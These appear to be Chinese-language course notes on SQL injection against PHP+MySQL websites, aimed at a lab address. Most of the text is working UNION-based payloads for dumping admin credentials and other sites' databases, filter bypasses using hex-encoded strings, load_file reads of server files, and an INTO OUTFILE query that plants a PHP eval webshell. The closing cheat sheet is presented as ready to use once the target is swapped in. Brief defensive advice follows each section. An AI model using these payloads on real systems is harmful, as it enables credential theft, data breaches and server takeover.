42:PHP+MySQL WEB攻防(SQL注入核心场景实战)
第四十二天学习笔记:PHP+MySQL WEB攻防(SQL注入核心场景实战)
一、核心知识点总览
本节课聚焦 PHP+MySQL架构下的SQL注入漏洞,围绕“低权限到高权限”的攻击链展开,核心覆盖三大场景:
- 常规SQL查询注入:通过基础注入流程获取当前数据库的敏感数据(如admin账号密码);
- 跨库查询注入:高权限(root)下,通过一个网站的注入点获取其他网站的数据库数据;
- SQL文件读写:高权限下,利用SQL语句读取服务器文件或写入木马,直接获取Web权限。
所有场景的核心前提:PHP代码未对用户输入进行有效过滤,直接拼接SQL语句。
二、PHP-MySQL Web架构(漏洞背景基础)
PHP与MySQL搭配是早期Web开发的主流架构,数据库的“用户权限管理”直接决定了注入漏洞的危害范围,主要分两种管理模式:
| 管理模式 | 实现方式 | 安全风险 | 推荐度 |
|---|---|---|---|
| 1. 统一root用户管理 | 所有PHP网站(如www.zblog.com、www.demo01.com)均使用MySQL的root账号连接数据库。 | 极高:一个网站被注入,攻击者可控制所有数据库。 | ❌ |
| 2. 一对一用户管理(推荐) | 为每个网站创建独立的MySQL用户(如zblog网站用zblog用户,demo01用demo01用户),且仅授予该网站数据库的操作权限。 | 较低:单个网站注入仅影响自身数据库,不扩散。 | ✅ |
架构核心影响:后续的“跨库查询”“文件读写”均需MySQL的root权限,一对一管理模式可从根本上阻断这类高危害攻击。
三、SQL常规查询注入(基础场景)
3.1 漏洞原理
PHP代码直接将用户可控参数(如URL中的id)拼接到SQL语句中,未做任何过滤。例如:
// 危险代码:$id未过滤,直接拼接
$id = $_GET['id'];
$sql = "select * from news where id=$id";
$result = mysql_query($sql); // 执行SQL
攻击者可构造id=1 union select 1,2,3,4,5,6,篡改SQL语句的执行结果,获取敏感数据。
3.2 实战流程(以http://192.168.137.1:84/new.php?id=1为例)
步骤1:判断注入点与列数(order by)
-
目的:确定当前SQL查询返回的列数(union查询要求前后列数一致)。
-
构造URL:
http://192.168.137.1:84/new.php?id=1 order by 6 // 页面正常,说明有6列 http://192.168.137.1:84/new.php?id=1 order by 7 // 页面报错,确认列数为6
步骤2:寻找数据回显位(union select)
-
目的:找到SQL查询结果在页面中显示的位置(后续用于输出敏感数据)。
-
构造URL(id=-1使前半查询无结果,仅显示union结果):
http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6 -
假设页面显示“2”“4”“5”(即union查询的第2、4、5列会在页面中显示,这些就是“回显位”)。
步骤3:查询核心信息(数据库、用户、版本)
-
利用回显位输出MySQL核心信息,判断攻击可行性:
需求 SQL语句(替换回显位) URL示例 查当前数据库名 union select 1,2,3,database(),5,6 id=-1 union select 1,2,3,database(),5,6 → 输出demo01(当前库) 查当前数据库用户 union select 1,2,3,user(),5,6 id=-1 union select 1,2,3,user(),5,6 → 输出root@localhost(高权限) 查MySQL版本 union select 1,2,3,version(),5,6 id=-1 union select 1,2,3,version(),5,6 → 输出5.7.26(支持information_schema) 查操作系统 union select 1,2,3,@@version_compile_os,5,6 id=-1 union select 1,2,3,@@version_compile_os,5,6 → 输出Win64
步骤4:查询目标表与列(information_schema)
MySQL 5.0+自带information_schema库,存储所有数据库的表、列信息,利用它定位敏感表(如admin):
-
查当前库(demo01)的所有表:
union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'- URL:id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'
- 假设输出:admin,news,user(admin表大概率存账号密码)。
-
查admin表的所有列:
union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='admin' and table_schema='demo01'- URL:id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='admin' and table_schema='demo01'
- 假设输出:id,username,password。
步骤5:提取敏感数据(admin账号密码)
-
直接查询admin表的username和password,利用回显位显示:
union select 1,2,3,username,password,6 from demo01.admin limit 0,1- URL:id=-1 union select 1,2,3,username,password,6 from demo01.admin limit 0,1
- 假设输出:admin(username)、e10adc3949ba59abbe56e057f20f883e(MD5加密的密码,解密后为123456)。
3.3 防御建议
-
使用参数化查询(预编译):PHP中用mysqli_prepare或PDO,避免直接拼接SQL(核心防御):
// 安全代码:参数化查询 $id = $_GET['id']; $stmt = $mysqli->prepare("select * from news where id=?"); $stmt->bind_param("i", $id); // 绑定参数类型(i=整数) $stmt->execute(); -
输入过滤:过滤SQL关键字(如union、select、and),但需注意绕过,仅作为辅助防御。
-
最小权限:PHP连接MySQL使用普通用户,仅授予当前数据库的select/insert权限,禁止drop/alter。
四、SQL跨库查询注入(高权限场景)
4.1 核心前提与原理
- 必要条件:当前PHP连接MySQL的用户是root权限(可访问所有数据库);
- 原理:MySQL中,跨库访问表需用“数据库名.表名”的格式(如zblog.zbp_member),攻击者通过一个网站的注入点,查询其他网站的数据库数据。
4.2 实战流程(以“通过demo01网站查zblog网站数据”为例)
步骤1:确认当前用户是root
- 先执行常规注入的“查用户”步骤,确认输出root@localhost(非root则无法跨库)。
步骤2:查询所有数据库(找目标库)
-
利用information_schema.schemata表查询MySQL中所有数据库:
union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata- URL:id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
- 假设输出:demo01,zblog,mysql,information_schema(zblog是目标网站的数据库)。
步骤3:查询zblog库的敏感表
-
指定table_schema='zblog',查该库的表:
union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'- 假设输出:zbp_member,zbp_article(zbp_member是zblog的用户表)。
步骤4:查询zbp_member表的列
-
需同时指定table_schema='zblog'和table_name='zbp_member'(避免与其他库的同名表混淆):
union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'- 假设输出:mem_ID,mem_Name,mem_Password。
步骤5:提取zblog的用户数据
-
跨库查询需带数据库名(zblog.zbp_member):
union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1- URL:id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1
- 假设输出:zblog_admin、25f9e794323b453885f5181f1b624d0b(解密后为123456)。
4.3 关键绕过:单引号过滤的处理
若PHP过滤了单引号(如table_schema='zblog'会被拦截),可将字符串转为十六进制编码,并加0x前缀:
-
'zblog'的十六进制编码为0x7A626C6F67,SQL语句可改为:
union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=0x7A626C6F67
4.4 防御建议
- 强制最小权限:PHP连接MySQL绝对禁止使用root账号,为每个网站创建独立用户,仅授予该网站数据库的权限(核心防御)。
- 禁用information_schema访问:通过MySQL权限设置,禁止普通用户访问information_schema库(需root操作)。
- 检测跨库查询:WAF拦截含“数据库名.表名”格式的SQL语句(如zblog.zbp_member)。
五、SQL文件读写注入(高权限+配置依赖)
5.1 核心前提
-
root权限:只有root能执行load_file(读文件)和into outfile(写文件);
-
secure_file_priv配置:MySQL的secure_file_priv系统变量需设置为允许读写的路径(默认关闭,需修改my.ini):
- 查看配置:show variables like 'secure_file_priv';
- 配置方法:在my.ini中添加secure_file_priv="G:/develop/phpstudy_pro/WWW/"(仅允许读写网站根目录),重启MySQL生效。
5.2 实战1:读取服务器文件(load_file)
-
作用:读取服务器上的敏感文件(如配置文件、密码文件);
-
语法:load_file('文件绝对路径');
-
实战示例:读取PHP配置文件php.ini(假设路径为G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini):
union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6- URL:id=-1 union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6
- 效果:页面显示php.ini的内容,可获取upload_max_filesize等配置。
5.3 实战2:写入木马文件(into outfile)
-
作用:写入PHP一句话木马到网站根目录,直接获取Web权限;
-
语法:select '木马内容' into outfile '网站根目录路径/木马文件名.php';
-
实战示例:写入PHP一句话木马(密码为x)到demo01网站根目录:
union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php'- URL:id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php'
- 利用:用“哥斯拉”工具,输入URL(http://192.168.137.1:84/demo01/xiaodi.php)和密码x,即可控制服务器。
5.4 关键:如何获取服务器路径?
- 报错泄露:故意构造错误的SQL,触发数据库报错,显示路径(如select * from news where id=1 and (select count(*) from mysql.user)>);
- phpinfo页面:若网站有phpinfo.php,访问后查看DOCUMENT_ROOT(网站根目录路径);
- 默认路径猜测:根据中间件猜路径(如PHPStudy默认路径G:/develop/phpstudy_pro/WWW/)。
5.5 防御建议
- 配置secure_file_priv:设置为具体路径(如网站根目录外)或NULL(禁用文件读写),禁止load_file和into outfile;
- 禁止root权限:PHP连接MySQL使用普通用户,无file权限(file权限是文件读写的关键);
- 隐藏路径信息:关闭PHP报错(display_errors = Off),删除网站根目录的phpinfo.php。
六、总结:SQL注入攻击链与防御核心
| 注入场景 | 核心条件 | 攻击目标 | 防御核心 |
|---|---|---|---|
| 常规查询注入 | 无过滤+参数拼接 | 当前库敏感数据(账号密码) | 参数化查询+输入过滤 |
| 跨库查询注入 | root权限+无过滤 | 其他网站数据库数据 | 最小权限(禁用root) |
| 文件读写注入 | root权限+secure_file_priv配置 | 服务器文件/植入木马 | 配置secure_file_priv+最小权限 |
核心思想:SQL注入的危害大小,完全取决于“PHP连接MySQL的权限”和“代码过滤程度”。最小权限+参数化查询,是防御SQL注入的“双保险”,能覆盖90%以上的注入风险。
SQL注入实战命令清单(PHP+MySQL场景专用)
本清单按“常规查询→跨库查询→文件读写”攻击流程分类,所有命令基于目标URL http://192.168.137.1:84/new.php?id=1 编写,可直接替换IP、端口、路径后使用,关键步骤附“注意事项”避坑。
一、常规SQL查询注入(获取当前库数据)
核心目标:获取当前网站数据库的敏感数据(如admin账号密码),无需高权限,适用于所有注入点。
| 操作步骤 | 核心SQL语句 | 完整URL示例 | 注意事项 |
|---|---|---|---|
| 1. 判断注入列数 | id=1 order by 列数(逐步增加列数,直到页面报错) | 正常:http://192.168.137.1:84/new.php?id=1 order by 6 报错:http://192.168.137.1:84/new.php?id=1 order by 7 |
报错即说明“当前列数-1”是真实列数(示例中为6列),后续union查询需保持列数一致。 |
| 2. 寻找数据回显位 | id=-1 union select 1,2,3,4,5,6(-1使原查询无结果,仅显示union结果) | http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6 | 观察页面显示的数字(如2、4、5),这些是“回显位”,后续敏感数据需放在回显位中。 |
| 3. 查询核心基础信息 | 查当前数据库名:id=-1 union select 1,2,3,database(),5,6 查当前用户:id=-1 union select 1,2,3,user(),5,6 查MySQL版本:id=-1 union select 1,2,3,version(),5,6 查操作系统:id=-1 union select 1,2,3,@@version_compile_os,5,6 |
查数据库名:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,database(),5,6 | 1. 版本≥5.0才支持information_schema库(后续查表列需用); 2. 若用户是root@localhost,可后续尝试跨库/文件读写。 |
| 4. 查询当前库的所有表 | id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='当前数据库名' | 假设当前库是demo01:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01' | group_concat()用于合并多个表名,避免分页显示;若表名含特殊字符,需用十六进制编码(见“跨库查询”部分)。 |
| 5. 查询敏感表的所有列 | id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='当前数据库名' and table_name='敏感表名' | 假设敏感表是admin:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin' | 需同时指定table_schema和table_name,避免与其他库的同名表混淆。 |
| 6. 提取敏感数据(账号密码) | id=-1 union select 1,2,3,用户名列,密码列,6 from 当前数据库名.敏感表名 limit 0,1 | 假设列是username/password:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,username,password,6 from demo01.admin limit 0,1 | 1. limit 0,1表示取第1条数据,改0为1取第2条; 2. 密码若为MD5加密(如e10adc3949ba59abbe56e057f20f883e),用在线工具(如MD5在线解密)解密。 |
二、跨库SQL查询注入(获取其他网站数据)
核心目标:通过当前网站注入点,获取MySQL中其他网站的数据库数据,必须满足root权限(普通用户无跨库权限)。
| 操作步骤 | 核心SQL语句 | 完整URL示例 | 注意事项 |
|---|---|---|---|
| 1. 确认当前用户是root | id=-1 union select 1,2,3,user(),5,6 | 同“常规查询”步骤3中的“查当前用户”URL | 若输出不是root@localhost,直接终止跨库操作(无权限)。 |
| 2. 查询MySQL中所有数据库 | id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata | http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata | 重点关注业务数据库(如zblog、dvwa),排除mysql、information_schema等系统库。 |
| 3. 查询目标库的所有表 | id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='目标数据库名' | 假设目标库是zblog:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog' | 若单引号被过滤,将数据库名转为十六进制(如zblog→0x7A626C6F67),SQL改为table_schema=0x7A626C6F67。 |
| 4. 查询目标表的所有列 | id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='目标数据库名' and table_name='目标表名' | 假设目标表是zbp_member:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member' | 表名也支持十六进制编码(如zbp_member→0x7A62705F6D656D626572),需注意编码后不加单引号。 |
| 5. 提取目标库的敏感数据 | id=-1 union select 1,2,3,用户名列,密码列,6 from 目标数据库名.目标表名 limit 0,1 | 假设列是mem_Name/mem_Password:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1 | 跨库查询必须用“数据库名.表名”格式,否则MySQL会默认从当前库查找,导致报错。 |
三、SQL文件读写注入(获取服务器权限)
核心目标:通过SQL语句读取服务器文件或写入PHP木马,必须满足两个条件:1. root权限;2. MySQL的secure_file_priv配置允许读写(默认关闭,需修改my.ini)。
| 操作类型 | 核心SQL语句 | 完整URL示例 | 注意事项 |
|---|---|---|---|
| 1. 读取服务器文件(load_file) | id=-1 union select 1,2,3,load_file('文件绝对路径'),5,6 | 读php.ini:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6 读hosts文件:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,load_file('C:/Windows/System32/drivers/etc/hosts'),5,6 |
1. 路径必须是绝对路径(相对路径无效); 2. 路径中的斜杠用/或\\(Windows系统两种都支持); 3. 常见敏感文件:php.ini(PHP配置)、config.php(网站数据库配置)、hosts(系统 hosts 文件)。 |
| 2. 写入PHP木马(into outfile) | id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile '网站根目录绝对路径/木马文件名.php' | 写入到demo01根目录:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php' | 1. 网站根目录路径可通过“phpinfo页面”的DOCUMENT_ROOT获取,或报错泄露; 2. 木马密码为x,后续用“哥斯拉”“菜刀”工具连接; 3. 若提示“文件已存在”,改文件名(如xiaodi1.php); 4. secure_file_priv配置方法:在my.ini加secure_file_priv="G:/develop/phpstudy_pro/WWW/",重启MySQL。 |
四、通用避坑指南
- 单引号过滤绕过:所有字符串(数据库名、表名、路径)均可转为十六进制,前缀加0x,无需单引号(如'admin'→0x61646D696E),在线十六进制转换工具:https://www.bejson.com/convert/stringtohex/;
- 无回显处理:若页面无数据回显,改用“报错注入”(如and extractvalue(1,concat(0x7e,database(),0x7e)))或“盲注”(需用SQLMap自动化);
- 命令长度限制:若URL过长导致注入失败,用“分段注入”或通过POST参数提交(如将id参数放在POST表单中)。
更多推荐
所有评论(0)